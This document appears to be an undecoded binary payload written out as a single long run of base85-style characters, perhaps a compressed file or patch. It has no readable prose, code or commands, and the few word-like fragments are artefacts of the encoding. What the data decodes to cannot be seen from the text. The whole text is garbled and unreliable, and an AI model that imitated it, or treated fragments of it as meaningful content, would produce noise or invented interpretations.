zoc{Aj`k17B)~pW8*+kqY4&|{D5IZU1t}v;QJkf-&HFdsx;|)Zu-tcvL_G@sy6r%PO zyy7MViCW5y2#egmOXaUsL))_&lRHQ~(dK?5B_@t}*bF|Y4DpchAr+dXp!UeJ)EZqo z>t)?|4^~%V1fP_2n^_wjZuhxf^L%G!#LGf%r=|W$TPY_|NH;cUXSGOscdK|S%d!j2 z9qI5+xu{X`&JuX1F=nA_d2E4W=*DG>txG--lszW63L77j10h)8$JXRvL9uVg0zs-d zCSKKy{eEY&EjB}2FeziTCCxv_BJBB0l*6U%0F|oVg02=UPb@F04JjlV_lopt(1Ppj zI&={0v7;oy*5Jx}?yJbf)&}HD$F*`TTGg}*^vCO^TVIj7?0ZT`b_tY7%&@OHPl9{S z(ZmQHh=0bE{19>8wX9qQETorMF+h=?I7mFj%+pq1ppQar)pOWndu%jK6{S>t&Ag5j zb>RyVtZebio{1IsRssg#>FHpzr&((UBy{>VR8=C>@&M&FTW|kC@EAm=SMLIet1C+U ziHB6cGAL)wxXu?*$uqqR?mKYYGttP-6*$|^Jc$4F`*k-@0rT|L9@OYcc~24gmGx;w z!EGF_UM6X}x>*{pnWUw}L*V%^U<_RJ%T+k)@;Oe+8p`=$a)#IyWdS*tEcp_J8_YjR zzFAvBJ^@JGa8Y|Td-7mP+Pn{#pxQ8Zu$`-=wo#&kwQ(qNA#eU%l3yl1J+)2mw8>!B zb?;em;U{^Alu5pl+g>C+yjXVVv2fh|oNXvo$`Hvrr?uVjfWS_@vszcriL7){==ped zdQdC(*sOH*^>Dh|yCjQCFtDq2mF}& zk3dddecgE3+_$Qk%cv9EtF_dT(4)7!^VT*eiCs_H-dEQ6aq5<`fc1VN zRvVVvbXb5|Qj#xtB`5z%A=mNy&q6|H^^RLAIbCzq7F$@X$62l4y`vPGVgB0lwWQEX z?Um8W4rJ8YsWs0D5iolYE=aUj$1V$zTxmUgp#U5`KR>gonjRd}x-hmabmqZ(XQv*H zUwS;i*dv669qwaQ$9eP!(yR8Zyy~=`w>$jmG-o}ZX1z|>P33J)nvXwW$q9LM9j@rM zYkOA?v=e{A?qzM~2s%WMu0J8fK_FSwAO5z=iwF0n`QEhFEBy5%O~1XMOWYEohYYzddxyB`Se(Z z*cM#KTVGpHsX|(x;3Dfk>_-!~oEUs&aB0|#ErjZB3_J}Pk;TWJ!VF(c9o~P%D(c@osTo2*gH=XGGinZ&nNAQtWWeGVXAa) zuz$PUt{pKf+2LsR*fFv$(Ox`rfS$;daj%9yw#4J4&INJKwOl!*sdD^rV9Td}yZ+#6;2kt=9jrPK;$s$*q_4_q*%?{H~rd zzk&}d{DphB#Mtml3foT+VyR1_CT;V`biI z_SP9@u>%hG&eEI%QtDw0Bmp%%B5skUNEgi^ImfVmD(eizOX4+9SeoT7%|wedWxLltc;a9-^YVa!z>IOrG_cEn4yb z`9g@XTU~NTbXtQsq70(Y=3WlBTjY=K1yYN&)CD||u&d~!L2FnUOntzg^>{cNs#dD< z;yDN;zM4VttV@imPQN62{b0FTz*?i4X8Bt>Bwk-&^h3 zx|t?IT;{_4wR{U3HWcp}@RFa*cTq!p=9u4;Ij)uQ>=>}I6(OTJ)Y4um0Ef)e6VLk3 zGE1QQ#`zKdW?@l%!ZmGm+OON{svGa&By5^rRK!mBMB}3GwB)O_iP97@Z`PpS*di9m zoUj>Tj(Y5POi;SxF~RSSk<|_6Wz9w#@b(Hm*U&?1*zonw)kgi-7ghXWH>)#fcyxMAD!t#@HC1-7<;j~n?h zuyuGDGclX54aUmEX1}2Q)&;=cV2r>>dym5c{y|;)df2VvkBN=NTIvY;R7g!d#Ec#ARp!zl zj@$7Co|FYWX@2l0&npU;_jgbMlJqtPfNXVw)KG!n?n~_~KQ<#vp%G(5DdJTHt9r>8 z8Sd|Cv~Eu0Li}TS}ZG9H;U<KJ@xM>@(HZiHwME zRIxLcl?uxXaf?kVg)h;5fDg6)q9YYh#+EEFvhrjV3P1s)MWNx>%KjX)Scq=kCK+87 z@VoHI_+tN-a&zY}XYO912~<(^4*zDQ+85BHdJZMFf5#1XJi4T5pDw^S)T%s(yoZE+ z_5j|iX6J#*z`qr~OBE!F+@|+aB#@i+RCl_!FQ70=41J{eW^Vyn>*D?1&(mLBd9SWU zMc6+l$s@WEySsxxvo754%N?>h<+5jUMDMLFWm-zMUj@w=tQ{`CN~i-7U_ePo1BdrV zj8C~di}Ui${q!MY7IS>OltOkT50Z9*OMBLriWaFQf5mge_{MBpIk#p zs4}DRNsk2+$}w6K@A(rOi{?Zg0o;YLZi!9)=s&BFPM<^%)M3E!#z%Zn?sy%;%$MM! zAKlG2!o2w?*lGlFkKL^%b&y;jf0IySqOrLwwwF{wCV+5YV}fVw%?}HGvF=!Z2INle zi!8C!v5J6$&FtL`B3Y}p4eU%J(<}niyp6=Hv;%%(PzkZVk*&TqUHJe%{Ez_I@?nR2#0Jnn2^bLGD0ztYp){_qpOZ#jP}EBNc_$2{-V z;rZhu3V+`s&y;)F{kz)z`+@s+x%+pm`*(@^_puItZ^1bs?c6Hw^ZMUk;PRf8zTJjv zpJ2i8QlF!cC(iJJq5^$gRA+A~ePOXF46*xGbWE*3dXBY7dmoWIh{J2zq#a+TPY!9a zyRjrzDdy4jEKgLuPlCqD6=A~)8RLC{)?jHalq`HyejLZ1NhjLv*bmAcbseXKPr2aO zQmJT&v^p9N7+=!0H58Z#`5lkm-9Vt`mEMv%Qw&i@4{oh5_2W#A{uHW&Se(d?am@!TdS)o^mReT0>N~(Sh-sN`0|DE>$yTF_2a*hd~Un zs+lkM2S9#beyM6+MUxGVePutO)<#_BQrQbKUdK*gY)-5qQ|8D8>!H2h=j@J>*kNL$ zOXdl_DQ+YOd$*U$h?ld@cSP5ESP%RhV^^71LCJc#rX>no#V2 zL7=qNTd!P>iSA#K*)VCob&S)0^fgFIuk?ayGPw%=alH13$-|$bC&%~^qJF`%2Va4- z&d2V7#Runf6cbaxYuLDEF)$$k&Pvw~f$JqGI}>{j>9~>XuKU_3|acj(j$Ep;L{0f%=%cYhkV>w zRn3IknM~gMtm9;zq!-9@)4`(&2(@uCQ+YSV7<%awRl!vAFDD4U@Kd&Gjf$M>>8FHW z8!7ozB4?733iI8%h$Wh8o^h;HSd9{(r&T}?^1Dy{65H2Ii98@d!sk297x($16)GZY zWh1h&YPL5D*dRJfH?#+;de2bPxmSm5YGB^_?62o z;a0jiVGwqEwO;dew8o{&uz7^Ik`BQjswlON>Va=7&9xcUH~N>5*(U4G-nd&5%TeaW zSI5?b%*H{=#1i)4Ff028N}%6nU*y)W*T1ux^mJ@>*4bh9$)B6GApe*mh=vR4zX)i3 zN-Ff4wb5?zYPsbX*OW|Ipe-mtMbR?X=4dlQzm5Y#Fb3byj_-Eahd$qp2gdey+-5Up zdNngE;G6s&lHZrcmbky~$o_u6^%v&K;U`&s!@}$m{7+C-;NQ{#{?HG?e?dq1CjsC} zY}OkOiyfky-JaoV$SA4E!r1K2o0MBD^P#`?dr z_O0X2N7c=5BlCC;-Z#44r^>Ih-&uR(eX)ga9d~NS(zjV(L9Q-7yzvQzJzXbsBI0=o zE7}#l-5tTBr%$V7tBf`DxP0t5{9i}ki2kfVihVd#yp2OR$RoP9YQTO4v@(9DwH&;8 z!Xzud*gtLG@9W5)#OG(Fc`b7KP&hGiMY)@iQC2qrnD>1Y4*=MI;vTUU94o_EXN?s} zmOgE*yqm?lT=zNt>FGxS>1HDpM4Nu?B-XXrSRFFQ57Le8@P3_*-7W2?C2MB(afE4(z8gcY}`v6KXPqD`& zjUFpH^KcGZy!Yru^e5RBZG52!<}oNr5O$?PShS)#LV^P*+Y+uMc%4OAzsw+)?!a3( z9mwLXpMy89OvE`628B+8u zCmM3v`;vNUyo=osSlol$hi+S5SAV|dj}+lenKaPW?MvRsKfX#C_v;S#tM$>24N5}X zhnw32Acx{Ce#PIdKaS*+f10RQl6jE$ctF^^4vBQQqb@00tXZukmHBFHQM)KUhfc#a z87;X^ph%yL53^Of<=65ct~RdXkR+j%0vHhxoZlqg9T2K~A(H+j#KZAV+e@{%D(~5N z7wSW!T8byR+1e~*nfMkWjx=MeF4g9WJxYcqL1K$idR)*=)_)K``pFd$ z0}&Y_ql8ptH+98viVOYeO~eM}-%P@-(i53J&DhN=t)YS+GqzGJPLalOfDWQWG;(6!;MjQSZFU*>;ZdW#Md$Y)&RfGSy~KLu1kRxzq`sBVi= zgD>#*=RP!3pPX21;%5YC$KuSsXIDt0MD?c$F>R-77z%T$SI7z8U)?Ed-t- zkrZJRD9y~*mr_dp0cR_45~3Wa;;-{u1{xT;MC& zTU$m{E`a1TMh&q3=$FXcr~D$*S89EBim;>4tOM&{M+s)t7d;yl7GjuEtq++}7ri8G zuz|W2zA>dbXjZT(W1aOo7oHa25t7I$AtQtyaLBpLPvRt~?q69;&rmv4;7P%hb!PFG zJ2Fc=dsk22G>AF0UPZ6V{C?7Wr%>iD>j+?##e+1k52P#a`;mOlA=KgbAGHmOc~UIPpQ8%c-H1>T77p0&*ufoP#593CD*EgXRpri2wt4^9&z@_ zVB$uM6~g|{hiU;`XeB0wB$`05&?Tyy-FdgjD*A2%(QH&uBNz`GCq-&L(-N~_{Vv}W zOA@h=xRzHeC`r)W5w6@$aI^>(Jl{%e-@tMmGaub0WGvT`Uqig2bh$;?YDCh|9CR>N zEV04);mXgg!$q`V+=>yaC10k7I_9&uI9&7Ql+)0eB>r0b1U8{^i5Z>5hsmVoD0 ze#35dojjhPzyo^-BPos`))G&s`gERdTuh$AA|RJoHiHhBCs})aBaIGGA_J?wvOQe0 zc}l73G-JSDz9VJJI#TpViH8uz(hYyeEU5_lPYS1}mk7$h)szcR)$G?`;tswdM#h%> z!pM-?iYWtd8&FmH;50MZ3nki0tlPh)V?y&dt&BD)cf$rIh)JR>qgKxHZZuK#mi-;= zTGs<;PX8PmI8RNs8{d|V#^TSY&YSPWVY5-@dr<+~cjmj<+Lz|UCr1HX8mEM7-q#W; z+n4^;On(O282<+GjjdCv?3kt2ZC|QsUaF>P+*4)CifH@@J<@X2~p{8m?J0WpK#o;Z5~ID=Nq-oNC!L%~V$xOm)N< zgRJZkso5}PDAIos^8AKg&gA_|=?mm}gwhxK!|BN-x_O`sn8AwD;P@^X_LQEXnyuO` z`zlmtW_k0s!5+w)5N9)`W6hbqu3iu_Pr=Wkr)QLej5Cz$>vPfaD&Mr0eF4OY_HU=Y z4cv%0`lT~9jgr+M`hfK}7D+xs%JUzftVurB&6E)D=IF1K)+e^gmAr!EB);~KBQ`Gl zE!RYj9^Cr1ZvDQw`jxy=IHO{&JoMu#2a@s=7QdZ1!DB!KkL1KG3aZb_+Z)!B#g0~=k`HWa<`c?r^`riyCGiRc=X3VE#GOps!+P~?0q zc^SV&YBp(!i=dwX3_|0k6C2(c4%{vLz{n)VMz#8cCgG+^q282%140f`zC{V!JE+wvQ~DZy~`>7 zgYCWc*>1J>00{cQ_RiZq_}V&+SM(GPs9o>q82HYw>$au8zmubMczID7zO+8WF-SLA z@w3oj(od|0nvj#$Pfk{9t@Q?fnMHA6mN=ebIl9ZybgYY@-yA#0Ti@q}(@Uf!cgrl^ z5K`!r&UeAF(ynOfR?|tU3*~dQt{<}g1Di^uj9ILk(=FY8v`R}KRIaTp z)}mMiV-=b3NPt=m_yDz60xFziP*H41P|5$h_C9B30_fGY_w)Jx_mK4T^GhB_e-y7kqxia4j z&8U;5Q>>uwO29s3D%@%OP<%znOYj0jh4(>C8EX!Bk-*E5z-G5hF(JLbQIeFkv#Zur z`Xj~}t$Nq61(+ffrVPr;j2C5R{28$rFzWi!q6+iu7Vs;(U&_{3D+eQ&>tV}~-BYMZ z?n_5F{;8SNr?2Ca#RBq6GXXZuOc8$89aX{hzo7g)Cm7X_uXSvZLAmB`f8>1(!AD7<*U=B4nbL? zu1MaG=8rQD_M`c5Gg>hB!IS;nta|-b_t(3+zuwO4A^8XLf!5i5=xvnD1IW{hmNIv= z5Q9gmK}>_~8O@5i5sRD?r|c8^+?jnbbByCk)gJ%)0dy(y5p-!DK$qDQLkKZ6@1~`= z*g%X=D`JdbjTjj+s?10p&d1;=RJXJ#ys|*FLFo&zNZe-FLm@r|UJfA&vTBrBk*YOf z8?mw=Rur`+7U$STdRlq%xkBfw-`a<*iJAJaJrRNRX=*m zXDTRBt{)c`ySMO(lDoZj7}wNkX0jQI0*Jg^BvYhV*|Wyoa=hn?;GL!41JFavPXs-3 zDj)alQS3>x_<=SO{tEk0!Dn)B$}`-{Q>@@{nMIjR)x~Jl#A4%4@zLuJt<-pu1V4l_C zlvv%yT~9EF(W;M(yB?Oww8v-6*-f%2i5l+gfg+3yt9zz*f%C_&iE@SLII^#)hH8ph z5L}gUU|q8iu#`utpfw@XNcuOuWYsjq$Y{t22z3I5BK9=#u0}{*BwX;WpOA*ntGDh# zDvOQfEoOS!p!U$^fpQ~NM1C|qq6{l*sBd4i0wK52Ouij3D>}`p4N%}lO@W=#6lT~G z2cW8D%F(W1w68xC%!XcLeU0VC?V*bT<*|2UvqBZfs`L z8-zvlR1p8pYe7z|R)jI@u{DQ!mC#^8+hv+g5In4{YWbS6C{p$Dj7^H`d^PVgwMrpL zJCWwl(dt_<{_mB1u1M*Jr!yscMQVBU+=HZ+nbNs#=ngfJD6x2@Ea~ zQuU1og8wjV@%z$C`|J8k5Bl99hXMU9LX&W+GzG0$XQ*WnDARP_r=~N>vr+ zW-_lXcZ#Z~4ed*wYAN2+DLR7iz8}HIg+SSqBe%ML{8G2Y^}+71f9EyFn|%3L%fAt8 zugJeIYtdJo&Y*zQ!mm~H^Z~1@zoN==>YVonPx$>VP?qo?GtHp3;bJX0qy*gaU5V9~XawhH2iy_-oCHXc9$tuZr5hqe85F6R38>vSmxd)4r7J$7~ zQRLG!afg3|XxMJpn|P&7qwZHUUN!b!3?&{08gqXZK1 zIy2dcL@djD&^o5ZzPU)2PPOvNc?V7%sO41KYN`7vY5C)Clrn1kHP(BsnEFC5qE8T# z0pn_xI=|h9`awDoX?&|tbxElm0`Elw?{##Y8za?%n3AaTPlY2Q>biraCfO^M$=g@>!dVr4KJLlF zBawwiLY<@dGF>2Ius|LWaz;q;KJjhHi6;M>{QLJRKGRFA8f{)ap|19@}=@@QiXVb8EmfF4^FJz@!`PYZI=^UUvtL=S<-4dKdIZx&^x z=X1BKb!V}XpplpL@j-pW+K7D!61ZX-M7?PoZ5Q2b1~x>jk%-ZRjAQ-&23NF5xCT$p zrR7}_J#Y3Yd}aw_h@BouYv4_Jj)e(zh)9tu`7rmkgtzDrM8&(G~ih0BOlTvM$gsoSDjUSy9 zViy6@ldbqIh{z?@3LC1-beu&|}^u z=%!VEto5{lYT0-yXU+22`z4G;{IFyuJg>LtrT4FQC54?sk0pDHo%QcadwK!zSQ;xNB?z_s%GMAI`1Sy$2Wd<)k1Y(qGbLrQSWY z2+QO*jpgT@$4bGCGRI}{p?dH+QdY{vq|kfzMO}%`8PkfZ2Yv1zbK>ihwaG$Sf7{cfU&EARecs3Eay>VSZu% ze~)~IiyLo6MyejJ6t;FMiL0_*OlIY-n_%X>p26hafVC=!t3}A_sA#ckdw&iDL<1Kt ztk{rjy#P}wyWc9L-HOIg#lGY!_4Ug>`tHv|-`$>JNkvn|2Z4>&g~wyRu(xG#nNcS@ zq_F*SAw>Mwj>mbr_AbJePh1tYUZ~OZ6HLC*1C;|_c#v7gX&e(mM2#IMRWt`HGQk@% z^^7)bwcNP*+7QmJ6`9IR#b)oG?aEEz)NAI%bwoRg+GmX!ZI^QO&IU;C@=(==SrwoL zmo>f0^_;Pn%!w_M9<17UdwI11<7@<2Othd@lnNeQuOQZW0P!0dkMpRs)3A)!?|5~sF` z7HY+-N>M>D`D|Hu9@Jnw5f|j9&Yy!Z=}Y^iZvzTVniib1@TRgxlzB9f+68`_6LDP> zPIntXNZ;1auGc_V#Q}}Rt46`lj?*f3-?;l)*yZlncO}9_58(q$;JNG4IJ(%S)tFDQ z*;^-bX@`2#%<=A>)UWuA8k_Vg^#eFSFxhdKG52ON-K%*OdA9SgTN3VgQeZX6hc|ps zan0SUW;fL~oY=GRxuV(o`)>YS!L<6eIUYPib~RHuqQw0hON)}LHzl`oYOBFc9MrRQ zJvn4G?)(`=WggbY-P|02#>Sn~bxya`8SlE^Rdpu-BYuEbAC3Tj+;jMoV_2dRkkH@m zC8{jJJ}Q*&wCG&41*1M^FU#MrVONdhA__rc8v3mZL@yCPmz!tj;V(O$(6K`YMyzWF z7B>}%L0Gi|1Z)1#!m?F=4*5h90TqSGKPNBzNKy?aR6r)%^$vV%Q+vWHCnvxpZ{@eNK zYq|4B{7-V)XR&K2K^IlCYo_2|*Q4nwS$PEYa#-5pG`}F* zGBIswa()eboTG7QV(X2j1CtEL>@TV-aZ;jpdz~k@$g%5toV1{51VLHUf_GqOjR_>7Vmeeu~Oqat+`lkQIAHBz${niL?3@F<2ldpqL3d*KJbf z3+(EhKdFqfnSZ114>BVd1deeZ1MgE9{!MGKwkhg!ObD6f&^64id=a*ZZpG7{QO{_7|#iPdrC6y%-TE%yr zksyVnV#CvRhf_?CyMZab3+!8kdz~{LqnX@v=FiU|@YVeD!T5TOpp>XmKMP-v*_gxE zHag=>0xfd*y5NXz_}T|#*7*9!(O(o_PsYr~Dch36*W(U5G`?#2Eg$*1p9e+K!Q#{= z!Msd-glWqhGEYY-%(F}9V9#?9>YarUAyyOJQO}n#lAV7-Io-ERK~xSjgat&?=d>s{-c6Lz7~{n&WV+c#$rckIXnicRgY}LuhNfK$ z0cvBC*6Xz%1?Xp!98N2ri>D8K8K zcGm9qlPl;?Eq2n2gI#0jdAI?k7`_9XQOv^MQ3ynz9SaQ|{k$SBhVNWW4)!dIul#mR zRi{xW!4pOMugS>@a35Nu>S_BkIPDm3HA-9t0_foP-l zwK6)jMUF3sB;VZ4N!Frhpc7x@b3U#iT4Oq1KL#CrS8cg49ay}kQWO7O`d2XSDme#s zCU-)td*MOQO+ItNR5*(#Q7Q9+DwB{;Jv$XSO>ri_bP!!S6EIrI5oEso!@=uEX7R!F z`0RksL638}!Q5Xz1pdy;&*#%)@nPNQ@m6qF)8k3FnlrOsVEy z95QUwZMZI^`U}yqrgvXJB;es877${)o+)^%6^%^Rwr&tIB42 zEvw2^vZ|;Rg(%m~k65*pIROEG*E&Z%>yf}3XB-(Ep%`_`KoBvU*$a74MtIMcu?wE} zJ1lr@6Oum6TR^IztfGNR1MBe@>_D5f({Eq1osaPVFv~>XiG|rCcyh|u)iTu>9dd5? z$Gr<;j|7`X>hl}xYa^OMUn?Vsp_v{KxwUse;#&o=% z`n5Y52)NG(7XL{oG#`d)b*Vd%)ujvL%KX_wZqBa%hge^n2M)&PkB|Hu`256%96qN3 zrqfF%AS(|IR^CHddFVk29`4)p9^t3$_+7(Uc2MxxG#jC7c&F+ z63KdU5Plwxmf+x3CSN{i06*Wl%frv0T6Y9LKOoYSxAdIHPk-szBlvC)`{D0ddhSMW zgtZ>D^!%2d2*UYX8BVXx|J3TUK(9Uv#C-DKUwy=nM;0En0v&qwNr7nKu%&L$+{wx_sezJ#piWdhtS1(i;oD8`HRoZ(CGi^;#2P}K8fy&&pdDO zA*@`(xT|WaxGi!Qtf8i22W0+8WxK>~YV0bctIn?5gxc3?YVRVd#jhzCWUhi1-W@}} zS~N{iNtqhMJ(kMeP|>gAA9v)fOX&fZ#5LVV72WGRHSOIPs9{~rSFpiHK(m>5ws*PX zbfuoWs_ihV6xV>>6`%NKt{pk2uaiS)#g+D{rL|^(b8fRtQOyE3qGaD{P_pNvztwC{ z>F+rn@>tc3f)UN3bH$g3*ejHFDxN!t0XfGii%6f}D1{lD6o13J$2{{S*n@LYh+U}Q zbwI2Hl^>kuPiey|{b2;l-X0eht7WEY1L~a$;xF%T-eRkb%zJe-(AwRAIcj~sSZw(Y zmFJ(IhKy$#%`?wKLgRYwUlVdD$3T>R5q}!8BU}`cz8H7M_owvLMH6E_>0qG88U!>g#kWzjkjvqB1N| zL+m!s#M&jV;s_P9BWiNzd$md<_PO8F)z(w3XeQorUOtkF6&~l-6Yn||tZL+Aa^aV%9iid$eHJ$yr7nKW(9KNYR1zdFg}V%3-7b|`u9{EMGrKrkJZiE=f3tb z{$p25)7cHMH(wuwjb}259(fSIz)%QFn%=GV*qy7Gk_@edw1vCVkSLyN2()BIL z*0-l5JKnLMLceC?{zB(AtR_AUn|=BhOw)9Lsz_-2Bb)+?A#GtlcE2a3B1~|IuTp`x z?pE;ua!#e*JSxu0f1D>b3-8g<7WDj|d0r575^|QB-083EXR7K{DJ3U#qi0H>0H?hy zU61?6exI(F-~*{B>1G^J1k-mJ`RL}!7aVkbDtRlQv=dqE&_I#?`1B1_gc9LI3|l~; ze4jL3U=gV4qL}${m%o1?xyqVw03W>0u(rEb|i zcMm2R&Qx0W=uLPPWASQqe@PtMti08Iybz;mlnYFl;!hd&4YVk1Tn~E=jnVky*j;Mg zw(s!#8UGjR@6)aR({=rqW$XXdzgz!FGZujmRq2s}jemaQfb+XlXZ{`}@BGfQUm|#@iqs*_g;X*P)x~$pnhH6LeBDTj zT@Pw+%=+5S@#Q9#LPGjrqB$WF;JlqkI901>P4*A8QT%nqz8^_{8(rotC1wRDgC7NE zttagA8Id7Z44V4&d4-YWs53BI=UXWyHf~j0rj8QZwuqei^YRz$+S*pC_03qm+qclX zo~q-`zCKB8_}HgHp56S1{eCDTwyl0EZ4auTYN~S>j_S_2ry)Jb&>9X{&zM~0f2r-e zMDO73vWo>SqL)(E%5MUkG$xPlNWZGwIlPKJdT${VC2GG2jC_4~B(T;DTv~#Cz^rRT zS*UCb1y*A)@4zNf&@k+Y)VHo(qWJg`dqX*pc)x5&)^IYm9(1)}mUb2hswyPr2XUPy5Dz zZNJi>bLIZa-2M)T?9m=V$}(#g0u!h5sAWG|fi%j-y+>0Iq(F&Tm4mLwPZWH8n3kBy zStT%1Ja+5ES_qFZ0wL8sUL<6NyKdW4$ja%s6HQMnSy@rQ1sWWWIcuL1nK$mN{2D0{ z3wtKXcOLeWzv3km4VUC!_{o)Ca=A)Q_{nE@$!DnK8~o%!Uh*K7JjPEx-Af*&zFzY6D)~`A z`7keevP%AypWM$&p01LUe)8cexo%(r{8c$O_&IW2iCii<&(FEo&k1-rav-n1IoHoA z^l}#XIbZT~dU!dD{G5QFQ{?3=_H%YV>4BrCm$TH*`MaOf%gd2-UDbof{G8*woQ$9I zOF!pJUd}o{XO^FHyqDAB=UnIKoZ#iK&Cu;!=;xg1<+S=am441iUXJ7E9OLJddpW!P zoKG6Ok)G`3boe=M_&KL|IbwREM!Me5In~Q4_H!Qba|U`ja+#<4X1gCk>Icxo#0bb5HKj$Go=V&iStOpbfe(L8OlRrSk{*`65`! z@9pGsXfWU}I=|Y_ztzisn|w}82HdCfYyJG|z5EZz$3c3)T%A9`&%fHs-$(u$@^6-R z?hksCu}t<0jr0m_pb$!$0b^7pi3C{g7dg`_vWX&SZ3k5ABEnkyA|+lC8EP{{zNU*T z$}93u#3U&$qmj`bql*aR@N0S9DQdctvDPGG?jO=${a_;McOmDQcAeZzvXHKyJVhrrl3bpbJW(gF zB3TH~FI}sX*U0;Jnve2Mk?Oo6=SmR|S~7@AT|~&sujM$eh(JpQailIX!7n1cH?8^v z?^G@XlSc;C1uN@Gab~_G#4zB#Djg%Kxw;q_P;gaAQ(_(kpba9FC!`Yj2c;0Nwp#v| z^M4TktNCBc{|Wq`OhXBZ@eu6bu}D8;mU+wQhs+jlt@ z)sG4KF`0*ZGqE}H#h09a|EJ17ivJ-0^wRNY4-|o9KO^#wCsE?LnU#Ks3*t*ZbA0LN zoxf=5XXSW!kCJ@;_7~xnoX3jv^IerXyu?|SpZaZ`TISrBpL(rMEqAQ^)N6F=8P3%F z)QLKEkTX6%^(vh@*cp|ddbLiib}I8zzoS!4=S%siLv(7b(=$JHs7@W{y!U9{*oNuU z3C=6|spsp|>z&p4sTb(f$kJ`K=iNv0Mt+6PD3*+u@-xQi454M`>HLf(l86$MY8Itj%{EU#!5Dwvt%g+ew43TS`3-U8Y>I`8f&guCXqjZKT8HeX* zm^wrFj`QKec_WYL43TM^*YYz)>kMI0&Z_*33w6fzlJQ`EMpS1AH*@OqGir2(l4Yhz z1||ivlVr>0v2}?kT;P1^eI?I4JyC232ONtp-huMWda_szGO}_Yx(o=ecavjgdPQUiBBVT{x}a7n zzm?m(BEHDARTo(VP54Eodqw<#{9ZRCe8Der!vSLv_LtVTcGL-IG#Qfyrbh3zE zLPvh`sX7@K`*{hH$rYLr8b~lMPo8=BStZX*8}6zAX9wBCLAu@4U+AGw>y{1e@=f}6-Y)Nkk2zy5E0^!e()=#cd*{ZZC{mrykb zQ({wE?7Z8*KmvOnX(oG=i*iu8U8!?TdD8~AoN?)7chJ%gl^sKNeD*B9LJMm5To(1= zF{;&BS0bY6Rwc?Qd*+--nAN8$c`o;TJpcQ7`g^CIL*Z;aQ~&azuU}W=!Cr!RW{dJq z@m`cl(baLoxQH0tOeoNmr_nO57>8C)ROvgg)e1IXr%+J22|F13@UN|8*T@0+g1?d%1L6rNldOGJn3jGl|E?U*a+aUe6h(JDufy0#=0#Sw9B$CV?7>fAqdYK}{|bfOfU7DvI?@R|T!XD-p~K z+E*3Ej==X4KqEa*jc4N zdc(|qbl_eq?|bF1q~fD-wYT7t*6Cvg~B%XweOSI*}lJF&L+h%Ke+k1x$p z8c`QKDpv6lBvgr};-!Zou<#@Qy`R}$ zj@kI*zw`5!_r_oM8RY?IIgxg<{4MWJS0l>gO_)68q>b$P8SqdAvOJNp zPLQ%$@uKukB3}6X)8@=Fi#S$q-|M|;R0)9!0j( z>q&!n-%#QRzr+V;1XX=(~S9FaJDUS&iV3 zUz7fGk!Uvvs*gi{7>E2Je9F0WxRT{S{8p-7oiSWaekbMmZC9<1_a#_Btfz7h({)Ka zn4MlYs^7lXi6nC_E&5E+91 zoN;$Xb(2BMzgbukaF3f*mp!irnnvAY-AbvExc8CfeC+|Bhq6+(xCO6uM?cn^to-5G zBYXIE#sLfcXXD%43I7|uolVPbj6dD+FttGA+Zj0_(|z^k&xdap@oBmsvQmKt;7BM4 zu`lp&?|i|%E4$5l{4fc5Jp8AZ$a8kByyE&rb*3D^w#1LESuz>YO?yjRSil zQ4ngB=>qreYT}yOhY$~bJijbn^{1A44^K+@-EFK!>c=2}jMu1>g1JnM9-ojajKauSN^87?T4#dVQi|p-U7v1~!q7UU5@r1+qG*b0?e7fuuaNT8> z+~PEVJdD0YO?K7RIB|sYK`|XrlzRj(z)*BxEbpPbM;`LtfycIy8XiOQ=lyY7dEVJ^ zG+^WE3fA4Mi^}P^sGMF_;7$SCbNn$6FNnplNHL%-IiwRu$Ido%zp>SVGFf?Gz(6r# z&x$$SP{6_9N8+hhwZwy9!=HxcVM7+fimGq+*qrgN>!2Muy3FQDm zbLV(I9gmCQy>cBQ{qg6c0fZs!hr+L>o-ZYP7Zf-3d|p4+>&I&SSfL+J=*Oe_@sNHz zpda_?$1nBc9{sTOW3GP8){ootBQ6iRQeA)=t22VFDA!To6x}{YY-_7yeG<>e-7SO~ zi6o~FhQ-O@L1iXt4>*f2+s@2`AO7V>a5r`#p8E~rPiK8YmTmZRf1~b?R1r)(9gu?^ zIALicZh5%L*Hez<0+k$J0RdGT^Krx^6m(;C-Se?$FmsPRiN{mF!enRh)U(c+PCmIzx@dGD7W{;`;0q6lRH^L z_HjvX#mkLuk3HrCs*9=dV6(u1>wVg1>%sR8CZ5!z?;T0r%H3Io>`s;ssJa7EOji#M zwkNXX8g#jS33N57CzTg^LFCNY^)lQZ>ezn$>h$^6x6-jAKBk`^yREWl40~rb;E$yB zDROGId}oC_vK8a2oKO|B3Gawl)q~yHe5U!8-W#!zs3z(opJ`{ZC^ z-yow-;-F7Ehu`H!>L+w2n!Znt{P?CeJ}6>WLth-TBwIU70+1y$1W4;IJ23E*Z>r-z zpnQW@KGtIGPPQ6D`x$fp2iGoi>D!{{(w7tGr|1s<>QY(fN~pJ3!VMfn9VInJXiGHk zYIR-vt!(g)qycZ6H}@CR60Ur$4NE`WUTti*dk2a7-FQMODr{S(#~U$L>h}k{_lfda z)b?|aj|Ek`McKFygf~Hhv7W+p3_v7i(ZCV4aBFhsEc1n($;RGhpM7<&P2Z91yug?% zcK{~es5a_G$Qs_<%-=3bQN)!Cc;tTf&s(2czz6j}ZYj;Wjm(&$FWL8GebHv`DpO8n zc8jn-uB=V|P*jZ89^&`~)n#H)`>TC`FZMPMU&t9my|J7XWLhB6d5kePLB)yALSxQV z#l!@1dn7tbjk#ks0lDStBNL16#2My%c$;_Qd6?IkA`cqgW;A_I5II4wx<&{ z{?4_!7h9+NDlA?>J;)5&qq^`SOV{bV*=wY~IpJ}2J%M){6P-63bCaqw7aMbj7fG+q zFy>Z)bcs$P(PVmi(%kLs6jGede4*7mnUK^r-g6O&@_I)f{zOyjjMRo+U|q7~3?qft z9dR`1$*mjd36~!e1&JV1co;vex&t5jDvg=O%2@%T-MVrCc%t*?#@xBonsg^8I!~uN ze5>FQvJ0XC2Y{&YS9VpdH!e)2qQ*0RdZF7pmk!?M(%(aM z>+_FfSD|rNv1;!M4KabCIdPNe4TceXvd5TN_mZNP1;)`HZCH1zlq_T)qf+EMCa!Wl zxR&KV$4Io|e4LB)X%w7eY>EYakMBS|qwY#kC}+`+Qtqf+KeP2N|BU+FqoofD-xZ!! zJ_oDSXaUvxR2@whyYCP_!Q%^pKgGJ>enCq6k{uMTnTTVip3Twer$3RgC-%W^-oSMo zEe!MrYu#i{Ed43!fb+Yy`{PY?zRy|>JsQiW3H=tDwyp5U+Ur!~iyuv^S2eNC?j*Y5 